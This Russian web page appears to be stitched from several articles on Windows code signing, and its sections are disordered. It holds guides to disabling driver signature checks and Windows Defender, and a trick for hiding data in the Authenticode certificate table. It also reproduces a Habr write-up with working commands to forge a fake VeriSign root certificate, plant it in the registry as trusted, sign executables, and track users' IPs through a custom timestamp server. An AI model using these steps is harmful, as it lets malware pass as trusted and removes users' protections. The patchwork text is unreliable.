Как отключить проверку цифровой подписи драйвера на Windows?

Ближе к теме

Но что, если мы (авторы этих приложений) хотим передавать в них какую-либо дополнительную информацию, которая будет известна только в момент скачивания? Ведь любое изменение файла автоматически делает цифровую подпись недействительной. Какие у нас есть варианты?

1. Дописывать в название отдаваемого файла требуемые для передачи данные, а веб-сервером через регулярные выражения перенаправлять подобные запросы на один физический файл.
   легко реализуемо;
   внутренности файла остаются нетронутыми и подпись всегда верна;
   – передать можно лишь небольшой набор данных (например, несколько идентификаторов);
   – при переименовании файла информация пропадает.
2. Изменять данные внутри файла и переподписывать его при отдаче.
   передать можно любой объем данных;
   при переименовании ничего не теряется;
   – переподписывание – очень долгий процесс, если речь идёт про отдачу сотен больших (100 MB ) дистрибутивов игр в секунду, как в нашем случае.
3. Изменять данные внутри файла и НЕ переподписывать его, сохраняя при этом корректную цифровую подпись.
   передать можно любой объем данных;
   при переименовании ничего не теряется;
   не нужно переподписывать файл;
   – это невозможно (или возможно?).

Все ли драйверы с измененной подписью несут угрозу?

Конечно, нет. Если обратить внимание на сообщение Windows о невозможности подтверждения сертификата, то можно увидеть в окне вариант продолжения установки. Т.е. операционная система допускает инсталляцию неподписанных драйверов. Связано это с тем, что не все производители устройств и/или разработчиков программного обеспечения получают официальные сертификаты — это ведь стоит денег.

Сертификаты отсутствуют у большинства драйверов, которые разрабатываются любителями для решения специфических задач с тем или иным устройством. Яркий пример — прошивка смартфонов. Зачастую, чтобы выполнить эту операцию, требуется установка специального драйвера, который позволит передать на смартфон специальные команды с компьютера.

Таким образом, устанавливать или не устанавливать неподписанные драйверы — решать только пользователю. Если на компьютере имеется антивирус, который не выявил никакой угрозы, а сам драйвер был скачан с проверенного источника, то шанс того, что он безопасен, достаточно велик.

Зачем нужна цифровая подпись драйвера

Цифровая подпись – это так называемая метка файла или библиотеки, которая гарантирует его безопасность. Она необходима, чтобы пользователь смог узнать о происхождении и разработчике приложения. Также подпись проверяется и самой операционной системой на начальном этапе установки любого исполняемого файла.

Если этот атрибут отсутствует или в нем найдены определенные ошибки, установка не начнется, а пользователь будет уведомлен о возможной опасности, к которой может привести использование не идентифицированной программы.

Инструкция для windows 10

Большинство функций и параметров новой Windows 10 схожи с восьмой версией системы. Отключение опции постоянной проверки цифровых идентификаторов драйверов проводиться в окне групповых политик:

• Зайдите в редактор, как это было показано в инструкции для Windows 8;
• Откройте окно включения/отключения проверки подписи;
• Выберите пункт «Отключено»;
• В графе параметров оставьте пустое поле;
• Сохраните изменения.

Рис. 10 – отключение параметра в Windows 10

Если в выпадающем списке отсутствует нулевое (пустое) значение выберите «Пропустить». Для деактивации с помощью командной строчки необходимо использовать две команды. Первая — для загрузки опций, вторая – для отключения функции. Обе команды и порядок их выполнения указан на рисунке ниже:

Рис. 11 – отключение с помощью Command Line в Windows 10

Инструкция для windows 8 и 8.1

Для обеих версий Windows 8 отключение проверки подписи драйвера происходит одинаково. Как и в предыдущем варианте, необходимо работать с редактором локальных групповых политик. Введите команду gpedit.msc в окне выполнить, чтобы открыть окно настроек или включите редактор политик через панель управления. Далее выполните следующие действия:

• В левой части окна перейдите в директорию «Система», как показано на рисунке ниже, и зайдите в папку политики установки драйверов. В правой части системного окна кликните на пункт «Цифровая подпись» правой клавишей мышки.

Рис. 6 – проверка состояния опции

• Нажмите на «Изменить»;
• В новом окне выберите параметр «Включено», а затем графе «Параметры» присвойте значение «Пропустить»;
• Нажмите ОК и выйдите из редактора групповых политик.

Теперь даже после перезагрузки операционной системы, проверка наличия цифровой подписи включаться не будет. Для включения функции следует снова зайти в системное окно редактора и настроить параметр проверки.

Рис. 7 – отключение проверки в Windows 8 и 8.1

Еще один способ деактивации функции – это использование командной строки. Отключить опцию можно с помощью ввода одной простой команды. Зайдите в окно «Выполнить» и запустите Command Line с помощью строки cmd:

Рис. 8 – команда для активации строки

В открывшемся окне введите указанную на рисунке ниже команду. Для повторного включения опции смените идентификатор OFF на ON.

Рис. 9 – команда для отключения проверки подписи

Невозможное возможно

Фокус заключается вот в чём:

размер секции, описанный в IMAGE_DATA_DIRECTORY может отличаться от фактического размера структуры WIN_CERTIFICATE

, а при проверке цифровой подписи исключается

вся

секция, размер которой описан в IMAGE_DATA_DIRECTORY. При этом добавленное вручную содержимое в эту секцию уже не является частью цифровой подписи и по сути может содержать любой набор данных. Таким образом можно с легкостью добавлять любые данные в содержимое блока «Атрибуты таблицы сертификатов», предварительно изменив размер секции в структуре IMAGE_DATA_DIRECTORY, не повредив при этом цифровую подпись файла. Не забывайте про паддинг файла до размера, кратного 8 байтам.

Вы должны понимать возможные последствия при использовании этого метода, иметь в виду тип передаваемых данных, объем, возможную их обработку и потенциальные дыры, связанные с этим. В ваших же интересах передавать там только такую информацию, которую можно безболезненно удалить/заменить/испортить (в случае, если кто-то захочет это сделать намеренно), но при этом не потерять основную функциональность.

«Конечно, а как же контрольная сумма PE файла?» — спросите вы. Спешу вас успокоить — она не играет никакой роли при запуске и работе обычных EXE файлов. Контрольная сумма проверяется только на критически важных системных файлах, например на неё ориентируется сервис System File Checker (для диагностики пропавших или повреждённых системных файлов).

Немного теории

Ниже представлена структура Windows

с информацией о том, из каких его частей формируется цифровая подпись, а какие блоки пропускаются в этом процессе.

Также показан формат блока цифровой подписи (структура

#7), используемый Microsoft.

Ключевой момент в этой схеме — наличие блоков, исключаемых при генерации и проверке цифровой подписи. Эти блоки описываются простейшими C структурами:

«Таблица сертификатов» в секции «Директории данных» – это структура IMAGE_DATA_DIRECTORY:

typedef struct _IMAGE_DATA_DIRECTORY {
    DWORD   VirtualAddress;
    DWORD   Size;
} IMAGE_DATA_DIRECTORY, *PIMAGE_DATA_DIRECTORY;

где:

• VirtualAddress — прямой указатель на атрибуты таблицы сертификатов в PE файле;
• Size — размер этого блока в PE файле.

«Атрибуты таблицы сертификатов» – это структура WIN_CERTIFICATE:

typedef struct _WIN_CERTIFICATE
{
    DWORD       dwLength;
    WORD        wRevision;
    WORD        wCertificateType;   
    BYTE        bCertificate[ANYSIZE_ARRAY];
} WIN_CERTIFICATE, *LPWIN_CERTIFICATE;

элементы которой содержат следующие значения:

• dwLength — размер секции Бинарных данных сертификата;
• wRevision — используемая версия структуры WIN_CERTIFICATE;
• wCertificateType — устанавливается в значение 0x0002 для цифровых подписей PE файлов. Значение определено в Wintrust.h как WIN_CERT_TYPE_PKCS_SIGNED_DATA;
• bCertificate — набор данных, содержащий цифровую подпись в формате PKCS#7.

При подписывании PE файла секция атрибутов таблицы сертификатов всегда помещается в конец файла (блок «Оставшееся содержимое» отсутствует). Зная об этой особенности, можно провернуть небольшой трюк с очень заманчивыми результатами.

Отключаем функцию в windows 7

В Windows 7 за опцию включения/отключения проверки подписи отвечает редактор групповых политик системы. Его окно можно открыть, воспользовавшись командной строкой. Следуйте инструкции:

• Откройте окно «Выполнить» с помощью одновременного нажатия кнопок Win и R;
• Введите указанную на рисунке команду и нажмите ОК;

Рис. 3 – команда для открытия окна группой политики Windows

• В появившемся окне откройте вкладку «Конфигурация пользователей». Затем нажмите на пункт «Административные шаблоны». Во вкладе «Система» кликните на вариант «Установка драйвера»;
• В правой части окна выберите пункт «Цифровая подпись устройств»;

Рис. 4 – вкладка «Установка драйвера» в окне групповой политики ОС

• Отключите проверку идентификатора в новом окне и сохраните внесенные изменения.

Рис. 5 – отключение проверки для Windows 7

Отключение проверки цифровой подписи драйверов windows 7 x64

Как отключить проверку цифровых подписей драйверов в Windows

Отключение функции через bios

Выключить функцию проверки подписи можно через BIOS во время загрузки операционной системы. Этот способ подойдет только для тех драйверов, которые выполняют установку компонентов без необходимости дальнейшей перезагрузки устройства. Следуйте инструкции:

• Включите компьютер и активируйте BIOS. Для этого в первые несколько секунд после нажатия клавиши Power кликните на F8 или другу клавишу, которая указана в окне загрузки;
• Перемещайтесь в меню с помощью клавиш вверх и вниз. Выбор – это нажатие клавиши Ввод. Перейдите в окно дополнительных параметров загрузки;
• Выберите пункт «Отключение проверки подписи драйверов».

Рис.14 – отключение проверки в BIOS

В результате выбора этого поля, Windows перезагрузится и запустится в режиме, который не предусматривает проверку цифровой подписи драйверного программного обеспечения. Теперь вы можете выполнить установку компонента. Окно ошибки и запрета инсталляции появляться не будет.

Стоит заметить, что это режим будет активен только до следующей перезагрузки компьютера. Удостоверьтесь, что драйвер работает правильно, иначе, после повторного включения системы он может быть деактивирован. Если окно предупреждения все равно появляется на этапе установки, просто закройте его и процесс продолжиться автоматически без изменений.

Создаем цифровую подпись вручную

DSEO – это популярная утилита для установки и редактирования цифровых подписей программного обеспечения любого типа. Следуйте инструкции:

• После установки DSEO откройте программу от имени администратора;
• В главном окне выберите режим Test Mode и перейдите в следующее окно, нажав на клавишу Next;
• Кликните на опцию Sign a System Mode для подписи определенного системного файла и снова нажмите на Next;
• Во всплывающем окне выберите файл, для которого будет проводиться создание подходящей цифровой подписи и нажмите ОК;
• Дождитесь окончания работы процесса и закройте программу.

Теперь вы сможете установить выбранный драйвер на свой компьютер.

Рис.15 – работа в программе DSEO

Цифровые подписи в исполняемых файлах и обход этой защиты во вредоносных программах

Хабрапривет!

Ну вроде как удалось решить вопросы с кармой, но они ником образом не касаются сегодняшней темы, а лишь объясняют некоторое опоздание её выхода на свет (исходные планы были на ноябрь прошлого года).

Сегодня я предлагаю Вашему вниманию небольшой обзор по системе электронных подписей исполняемых файлов и способам обхода и фальсификации этой системы. Также будет рассмотрен в деталях один из весьма действенных способов обхода. Несмотря на то, что описываемой инфе уже несколько месяцев, знают о ней не все. Производители описываемых ниже продуктов были уведомлены об описываемом материале, так что решение этой проблемы, если они вообще считают это проблемой, на их ответственности. Потому как времени было предостаточно.

ТЕОРИЯ

Идея и технология электронной подписи для исполняемых файлов возникла ещё в эпоху Windows NT. C момента появления Windows Vista компания Microsoft начала активную компанию по продвижению этой технологии. По задумке производителя, подписанный код может идти только от доверенного автора этого кода, а следовательно гарантированно не наносит вреда системе и защищён от ошибок (три ха-ха).

Тем не менее, поскольку в механизме подписи чаще всего используется довольно сложный криптоустойчивый механизм, общее доверие к подписанному коду распространилось. Не ушли от этого и антивирусные вендоры. Верно: если код подписан, то он явно не может быть вирусом, а потому ему можно доверять априори, тем самым снизив вероятность ложных срабатываний. Поэтому в большинстве современных антивирусных продуктов по умолчанию стоит обход проверки подписанных файлов, что повышает скорость сканирования и снижает вероятность ложных срабатываний. Более того, зачастую подписанные программы автоматически заносятся в категорию «доверенных» поведенческих анализаторов ака хипсов.

Читайте также:  Взгляд изнутри: RFID в современном мире. Часть 1: RFID в быту / Хабр

Становится ясно, что подписав свои творения валидной подписью, вирусмейкер получает довольно богатую аудиторию клиентов, у которых даже с активным и регулярно обновляемым антивирусом произойдёт заражение. Очевидно, что это — весьма лакомый кусочек, что легко заметно на примере уже ставшего знаменитым вируса Stuxnet, где код был подписан валидными сертификатами Realtek (позже сообщалось и о подписях от JMicron).

Но у этого подхода есть и оборотная сторона: после выявления скомпрометированной подписи она немедленно отзывается, а по самому факту подписи АВ-вендоры ставят сигнатурный детект, понятно, что с 100%-ным срабатыванием. Учитывая то, что приобрести украденный сертификат, необходимый для подписывания крайне дорого, ясно, что вирусмейкеры заинтересованы в тотальном обходе механизма проверки подписи, без валидных private-ключей или с помощью самостоятельной генерации таких ключей. Это позволит обходить защиту не только антивирусных продуктов, но и устанавливать драйвера и ActiveX-компоненты без предупреждений, да и вообще как-то пробиться в мир х64, где без подписей ничего не установить вообще.

Но об этом — подробнее на практике.

ПРАКТИКА

Кто-то из великих сказал, что чтобы опередить врага, надо начать мыслить как он. Итак, если мы вирусмейкеры, то что мы можем сделать?

1. Скопировать информацию о сертификате с какого-нибудь чистого файла.

Это наиболее популярный способ на данный момент. Копируется информация подписи до мельчайших подробностей, вплоть до цепочки доверенных издателей. Понятно, что такая копия валидна только на взгляд пользователя. Однако то, что отображает ОС вполне может сбить с толку неискушённого и быть воспринято как очередной глюк — ещё бы, если все издатели правильные, то почему это подпись невалидна? Увы и ах — таких большинство.

2. Использовать самоподписанные сертификаты с фэйковым именем.

Аналогично выше описанному варианту за исключением того, что даже не копируется цепочка в пути сертификации.

3. Подделать MD5.

Несмотря на то, что слабость алгоритма MD5 уже давно описана (тут и тут), он до сих пор часто используется в электронных подписях. Однако реальные примеры взлома MD5 касаются или очень маленьких файлов, или приводят к неправильной работе кода. На практике не встречаются вирусы с поддельными взломанными подписями на алгоритме MD5, но тем не менее такой способ возможен теоретически.
4. Получить сертификат по обычной процедуре и использовать его в злонамеренных целях.

Одна из наиболее распространённых методик авторов так называемых riskware, adware и фэйковых антивирусов. Примером может послужить фэйковый Perfect Defender (стандартный развод: «просканируйтесь бесплатно — у вас вирус — заплатите нам и мы его удалим») существует с подписями нескольких контор:
• Jeansovi llc
• Perfect Software llc
• Sovinsky llc
• Trambambon llc

Как это делается хорошо могут рассказать наши отечественные разработчики винлокеров, мелкими буквами пишущие про «программу-шутку» и т.д., таким образом оберегаясь от статьи о мошенничестве. Так и живём…

Интересно, что реально существуют абсолютно нормальные программы с такими именами владельцев:
• Verified Software
• Genuine Software Update Limited
• Browser plugin

Понятно, что если уж этому верить, то ошибиться при первом взгляде на сертификат несложно.

Следует также отметить, что отнюдь несложно получить подпись от сертификационных центров. Например RapidSSL для проверки использует просто e-mail. Если переписка ведётся из адресов типа admin, administrator, hostmaster, info, is, it, mis, postmaster, root, ssladmin,
ssladministrator, sslwebmaster, sysadmin или [email protected] — очевидно, что пишет владелец домена, верно? (ещё три ха-ха). А вот славная компания Digital River (DR), промышляющая аутсорсингом и электронной коммерцией, вообще предоставляет сертификаты всем своим клиентам. Немудрено, что MSNSpyMonitor, WinFixer, QuickKeyLogger, ErrorSafe, ESurveiller, SpyBuddy, TotalSpy, Spynomore, Spypal и вообще около 0,6% из всех подписанных DR файлов являются малварью, а потенциально нежелательными являются и того больше — более 5% всех подписанных DR файлов.

Справедливости ради отмечу, что подписать х64-драйвер далеко не так просто, в этом случае пока нарушений не замечено.

5. Найти какого-нибудь работника доверенной компании и попросить его подписать Ваш код.

Без комментариев. Все любят деньги. Вопрос только в сумме 🙂

6. Украсть сертификат.

На данный момент известно три больших семейства троянцев, «заточенных», в частности, под похищение сертификатов. Это:
• Adrenalin
• Ursnif
• Zeus
• SpyEye (возможно)

Тем не менее пока не замечено массовых случаев использования украденных сертификатов в новых версиях этих троянцев. Возможно, это козырь в рукаве? Время покажет…

7. Заразить систему разработки доверенного разработчика и внедрять злонамеренный код в релизы до подписания.

Яркий пример такого заражения — вирус-концепт Induc.a. Вирус внедряет код на этапе компиляции, заражая систему разработки. В итоге разработчик даже не знает, что в его программе появился невидимый «довесок». Релиз проходит подпись и выходит в свет с полноценным сертификатом. Видишь суслика? А он есть! 😉

К счастью, Induc.a является только PoC, выполняя только заражение систем разработки без реализации какого бы то ни было дополнительного вредоносного функционала.

Ну а теперь — обещанные вкусняшки.

УЯЗВИМОСТЬ ИЛИ КАК Я ПРОВЁЛ ЭТИМ ЛЕТОМ

Как видим, вариантов обхода подписи достаточно много. В нашем примере будет рассмотрен модифицированный вариант 1 и 2, описанные выше.

Итак, что нам потребуется?
— MakeCert.exe
— cert2spc.exe
— sign.exe
— ruki.sys
— mozg.dll

Думаю, что для хабрачитателя не составит труда найти эти компоненты, но для самых ленивых выкладываю первые три здесь. Последние два не выкладываю в виду жёсткой привязки к железу, полному отсутствию кроссплатформенности и специфичности кода 🙂

Итак, создадим какой-либо сертификат доверенного издателя. Попробуем максимально скопировать информацию о том же VeriSign:
MakeCert.exe -# 7300940696719857889 -$ commercial -n CN="VeriSign Class 3 Code Signing 2009-2 CA" -a sha1 -sky signature -l "https://www.verisign.com/rpa" -cy authority -m 12 -h 2 -len 1024 -eku 1.3.6.1.5.5.7.3.2,1.3.6.1.5.5.7.3.3 -r -sv veri.pvk veri.cer

В результате выполнения мы получим veri.pvk и veri.cer, пригодные для подписывания.

Читайте также:  Куда сохраняются ключи эцп

Теперь создадим дочерний сертификат с использованием полученных только что:

MakeCert.exe -# 8928659211875058207 -$ commercial -n CN="Home Sweet Home" -a sha1 -sky signature -l "http://habrahabr.ru/" -ic veri.cer -iv veri.pvk -cy end -m 12 -h 2 -len 1024 -eku 1.3.6.1.5.5.7.3.3 -sv kl.pvk kl.cer

В итоге получим kl.pvk и kl.cer, которые будут доверенными сертификатами от недоверенного издателя. Цепочку можно продолжать долго, задуривая наивного пользователя. Но итог будет один: сертификат не будет валидным, потому как в цепочке есть один недоверенный элемент. НО!

В Windows имеется возможность установки любого сертификата, в том числе и самоподписанного, в качестве доверенного. Это удобно: в ряде случаев разработчик может сделать себе самоподписанный сертификат, ввести его в доверенные и спокойно работать со своими приложениям. В нашем случае это удобно вдвойне, потому как такой внос — очевидно, простое внесение информации в реестр. при чём информации отнюдь не специфичной для конкретной системы.

Установим на нашу тестовую виртуалку любой монитор реестра, после чего внесём наш искомый сертификат от якобы VeriSign в доверенные. Отследим, где произошло изменение — и voila! Мы можем сделать дамп соответствующей ветки реестра, после чего засунуть её в инсталлер. В итого, наш инсталлер вносит в реестр инфу, автоматически превращая сертификат первичного издателя в доверенный и валидируя всю цепочку.

Чтобы окончательно не открывать все карты, скажу только, что в моём случае дамп реестра имел вид
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINESOFTWAREMicrosoftSystemCertificatesAuthRootCertificatesA61F9F1A51BBCA24218F9D14611AFBA61B86C14C]
“Blob”=hex:04,00,00,…..

ну или если только для текущего пользователя, то
Windows Registry Editor Version 5.00

[HKEY_CURRENT_USERSoftwareMicrosoftSystemCertificatesRootCertificatesA61F9F1A51BBCA24218F9D14611AFBA61B86C14C]
“Blob”=hex:04,00,00,…..

Внеся в реестр эти данные, программа с фэйковой цепочкой подписи автоматом проходила проверку по sigverif.exe. Ну а подписать наш код с помощью полученного сертификата вообще просто, достаточно батника:

cert2spc.exe kl.cer kl.spc
sign.exe -spc kl.spc -v kl.pvk -n "My Installer" -i "http://habrahabr.ru" -ky signature -$ commercial -a sha1 -t "http://timestamp.verisign.com/scripts/timstamp.dll" myprogram.exe
del kl.spc

Обратите внимание на использование таймстампа timestamp.verisign.com/scripts/timstamp.dll — теоретически вполне возможно использование собственного сервера на собственном домене, что позволит каждый раз видеть, что кто-то проверил подпись нашей программы на своём компьютере, а значит получать IP и время проверки. Правда удобно? 😉

Самое забавное, что на момент написания материала в далёком октябре-ноябре 2021-го Kaspersky Internet Security 2021 не отслеживала указанные ветки реестра, а проверку валидности цепочки оставляла на усмотрение ОС, которую мы довольно просто надули. Не знаю, что сейчас, но вроде как некоторые ветки заблокировали… Проверяйте, отписывайтесь!

Нужно отметить, что для простановки подписей возможно использование и специфичного, недоступного в паблике софта. Понятно, что подписи он не ломает, но даёт куда более гибкие возможности для заполнения полей X500, что ещё лучше создаёт видимость валидности. Вот тут возможно скачать любопытный пример. В архиве — файл популярной замены Блокноту bred3_2k (офсайт) с и без подписи Microsoft 🙂 Чтобы подпись полностью стала валидной, достаточно внести в реестр изменения, содержащиеся в файле key .reg. Аналогично, файл key -.reg эти изменения отменяет. Отследите путь сертификации — он любопытен 🙂

Сразу обращаю внимание на то, что автор «примера» прописал собственный таймстамп-сервер, так что любые манипуляции приведут к тому, что автор узнает Ваш IP — и дальше, как описывалось. Если хотите, то можете отследить эти обращения и отписаться в комментах 😉

Если потребуется, в следующей статье я расскажу, как настроить хипс для защиты соответсвующих веток реестра во избежание описанного внесения сертификатов в доверенные. Отписывайтесь в комментах — возможно, что эту уязвимость уже пофиксили.

В статье использован материал презентации Jarno Niemela (F-Secure).

Отключение работы windowsdefender

Более новые версии ОС Windows (8.1 и 10) имеют встроенный защитник, который тоже проверяет уровень безопасности любого исполняемого файла. Иногда, одного отключения проверки цифровой подписи может быть недостаточно, ведь Defender может определить файл как опасный. В таком случае он будет сразу удален или помещён в карантин (зависит от настроек защитника).

Рис.12 – главное окно защитника Windows

Если после отключения проверки подписи драйвера возникает системное окно о небезопасном содержимом в файле, для продолжения его установки следует отключить работу службы Windows Defender. Следуйте инструкции:

• Откройте окно защитника Windows;
• Проверьте статус работы утилиты, а затем нажмите на вкладку «Параметры»;
• Вы будете перенаправлены в оно настроек системы Windows. В нём нужно отключить опции защиты в реальном времени и облачной защиты.

Рис.13 – отключение защиты Windows

Установку драйверов без цифровой подписи следует проводить лишь в том случае, если вы абсолютно уверены в безопасности файла. К примеру, если вы являетесь разработчиком и создали приложение, у которого еще нет подписи.

Файл установки является надежным, если вы загрузили его с сайта разработчика. Часто последние версии драйверов могут ошибочно определяться сервером проверки цифровой подписи. Это свидетельствует о том, что разработчик еще не внес данные об идентификаторе в систему или работы над усовершенствованием драйвера еще активны. В таком случае, отключение проверки подписи и защитника не принесет никакого ущерба установленной операционной системе.

В качестве заключения: кто и как этим пользуется?

Эту возможность использует Google при распространении своих продуктов через автоматический апдейтер Google Omaha. Возможно, вы замечали, что при загрузке Google Chrome или Google Earth, вам предлагают сделать некоторые настройки ещё перед скачиванием, например, установить вместе с Earth браузер Chrome.

Также эту возможность удобно использовать в различных партнёрских сетях – отдача дистрибутивов с трекингом партнёра — необходимость в различных компаниях.

Механизм по отдаче файлов с веб-сервера с использованием этой фичи может быть реализован с помощью самописного плагина для nginx, виртуальной файловой системы на основе FUSE, или ещё каким-нибудь более экзотическим способом (расскажите в комментах, если придумали свой вариант).

Информацию о цифровых подписях PE файлов можно почерпнуть из этого документа: Windows Authenticode Portable Executable Signature Format.